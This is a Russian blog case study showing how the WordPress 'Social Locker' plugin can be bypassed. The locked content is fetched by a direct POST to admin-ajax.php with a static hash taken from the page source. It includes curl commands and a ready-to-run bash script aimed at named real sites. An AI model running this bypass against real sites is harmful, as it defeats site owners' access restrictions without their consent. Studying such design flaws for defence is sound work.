Атаки на JavaScript на примере обхода Social Locker for WordPress (КЕЙС)
В статье «Атаки на JavaScript» показаны примеры обхода ограничений, установленных с помощью JavaScript. Понятно, что там учебный пример, поэтому он довольно бессмысленный. Возьмём более реальную ситуацию. В статье «Обход запрета показа исходного HTML кода, обход социальных блокировщиков и других мер противодействия сбору информации о сайте» я показывал, как легко можно обойти социальные блокировщики, поскольку скрытые ссылки и текст загружают на страницу, но используют стили, чтобы сделать этот блок невидимым. Я даже сделал небольшой сервис, который покажет вам всё, что скрывают социальные блокировщики. Это так просто, что даже не нужно бороться с JavaScript.
Но мне прислали пример сайта (_https://www.yasir252.com/software/download-adobe-photoshop-cc-2020-full-version-windows/) который использует более хитрый социальный блокировщик.
Забегая вперёд скажу, что это платный плагин, который называется «Social Locker for WordPress» и стоит $27:
Причём это не заброшенный плагин, на момент написания, последнее обновление было сделано 8 May 2020.
Начнём с анализа HTML и JavaScript кода.
Как можно увидеть, в исходном коде название BizPanda Lockers, путь до этого файла /sociallocker-next-premium/bizpanda, я погуглил и нашёл страницу этого самого Social Locker for WordPress.
Анализ исходного кода страницы показал, что содержимое скрытого блока отсутствует в ней, хотя и есть некоторые интересные данные:
if(!window.bizpanda) window.bizpanda={}; if(!window.bizpanda.lockerOptions) window.bizpanda.lockerOptions={}; window.bizpanda.lockerOptions['onpLock951887']={"lockerId":"3169","tracking":"0","postId":17162,"ajaxUrl":"https:\/\/www.yasir252.com\/wp-admin\/admin-ajax.php","options":{"demo":1,"actualUrls":0,"text":{"header":"Link Download Tanpa Iklan","message":" Klik salah satu tombol dibawah ini untuk download tanpa iklan.<\/p>"},"theme":"great-attractor","lang":"en_US","agreement":{"note":0,"termsUrl":false,"privacyPolicyUrl":false,"showInPopup":{"width":570,"height":400}},"overlap":{"mode":"full","position":"middle","altMode":"full"},"highlight":0,"googleAnalytics":0,"locker":{"counter":1,"loadingTimeout":"20000","tumbler":0,"naMode":"show-error","inAppBrowsers":"visible_with_warning","inAppBrowsersWarning":"You are viewing this page in the {browser}. The locker may work incorrectly in this browser. Please open this page in a standard browser.","close":0,"mobile":1,"expires":0},"proxy":"https:\/\/www.yasir252.com\/wp-admin\/admin-ajax.php?action=opanda_connect","groups":["social-buttons"],"socialButtons":{"counters":1,"order":["facebook-share","twitter-tweet"],"behaviorOnError":"show_error","behaviorError":"Matikan Adblock Untuk Download Tanpa Iklan","facebook":{"appId":"331196770812733","lang":"en_US","version":"v6.0","like":{"url":"https:\/\/www.facebook.com\/yasir252","title":"Like","theConfirmIssue":0},"share":{"url":"https:\/\/www.yasir252.com\/software\/download-adobe-photoshop-cc-2020-full-version-windows\/","title":"Share","shareDialog":true}},"twitter":{"lang":"en","tweet":{"url":"https:\/\/www.yasir252.com\/software\/download-adobe-photoshop-cc-2020-full-version-windows\/","doubleCheck":1,"title":"Tweet"},"follow":{"url":"https:\/\/twitter.com\/yasir252com","title":"Follow us","doubleCheck":1,"hideScreenName":1}},"google":{"lang":"en","plus":{"url":"https:\/\/www.yasir252.com\/software\/download-adobe-photoshop-cc-2020-full-version-windows\/","title":"+1 us"},"share":{"url":"https:\/\/www.yasir252.com\/software\/download-adobe-photoshop-cc-2020-full-version-windows\/","title":"Share"}},"youtube":{"subscribe":{"channelId":"UCvPfXFZzw3x4I1FBYVlXbsg","title":"Youtube"}},"linkedin":{"share":{"url":"https:\/\/www.yasir252.com\/software\/download-adobe-photoshop-cc-2020-full-version-windows\/","title":"share"}}},"lazy":true},"_theme":"great-attractor","_style":null,"ajax":true,"contentHash":"e408051e78dd01cade57a25100ad70c7","stats":false};
Анализ файла скриптов JavaScript (_https://www.yasir252.com/wp-content/plugins/sociallocker-next-premium/bizpanda/assets/js/lockers.020405.min.js) дал вот такой интересный фрагмент:
// loading the locked content via ajax if( data.ajax ) { options.content = { url: data.ajaxUrl, type: 'POST', data: { lockerId: data.lockerId, action: 'opanda_loader', hash: data.contentHash } }; }
Обратите внимание на комментарий — «загрузка заблокированного контента через ajax».
Значения ajaxUrl, lockerId и contentHash можно найти в предыдущем фрагменте кода.
На самом деле, второй фрагмент я нашёл после того, как понял, как обходить этот социальный блокировщик. Можно было вообще пропустить анализ исходного кода и сразу начать с анализа POST запроса (смотрите «Как анализировать POST запросы в веб-браузере»).
Я «лайкнул» статью для просмотра скрытого текста:
Как можно увидеть, на страницу https://www.yasir252.com/wp-admin/admin-ajax.php передаётся POST запрос содержащий строку «lockerId=3169&action=opanda_loader&hash=e408051e78dd01cade57a25100ad70c7»:
А в ответ приходит скрытый социальным блокировщиком код:
Рендеринг полученных данных:
Пробуем получить скрытый текст минуя шаринг в социальных сетях:
curl https://www.yasir252.com/wp-admin/admin-ajax.php -d 'lockerId=3169&action=opanda_loader&hash=e408051e78dd01cade57a25100ad70c7'
Всё сработало!
Если вам непонятен HTML текст, то сохраните его в файл и откройте в веб браузере:
curl https://www.yasir252.com/wp-admin/admin-ajax.php -d 'lockerId=3169&action=opanda_loader&hash=e408051e78dd01cade57a25100ad70c7' > locker.htm && firefox locker.htm
Дальнейший анализ показал, что хеш статичный и всегда содержится в исходном коде. Значение lockerId не меняется и туда можно подставить любое число (возможно, это результат «кряка»).
Чтобы каждый раз не лазить в исходный код, создадим скрипт для автоматизации. В файл sociallocker-next-premium.sh:
gedit sociallocker-next-premium.sh
Скопируйте следующее:
#!/bin/bash if [[ -z $1 ]]; then echo 'Не указана ссылка для обхода социального блокировщика!'; exit 1; fi t0=`curl -s -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36' "$1"` hash="`echo "$t0" | grep -E 'window.bizpanda.lockerOptions' | grep -E -o '"contentHash":"[A-Za-z0-9]{8,}"' | sed 's/"contentHash":"//' | sed 's/"//'`"; t5=$hash url="`echo $1 | grep -E -o 'http(|s)://[^/]+'`/wp-admin/admin-ajax.php" if [[ "$t5" ]]; then curl $url -d 'lockerId=3169&action=opanda_loader&hash='$hash fi
Запускать так:
bash sociallocker-next-premium.sh 'URL'
Например:
bash sociallocker-next-premium.sh 'https://www.hourlybook.com/entrance-exams/national-eligibility-cum-entrance-test/neet-biodiversity-and-conversation-practice-questions-2017/'
Чтобы сразу видеть содержимое после рендеринга HTML кода, используйте конструкцию:
bash sociallocker-next-premium.sh 'URL' > locker.htm && firefox locker.htm
Например:
bash sociallocker-next-premium.sh 'https://www.hourlybook.com/entrance-exams/national-eligibility-cum-entrance-test/neet-practice-questions-environmental-issues-2017/' > locker.htm && firefox locker.htm
На свой сервис обхода социальных блокировщиков я добавил поддержку и этого плагина: https://suip.biz/ru/?act=social-locker-cracker
Связанные статьи:
- Как установить и запустить WPScan в Windows (60.4%)
- Атаки на JavaScript (60%)
- Как использовать User Agent для атак на сайты (60%)
- Как обфусцировать JavaScript код (59.1%)
- Как взламывают сайты (58.9%)
- Поиск админок (панелей управления) на сайтах (RANDOM - 50.6%)
Спасибо. Интересно и полезно.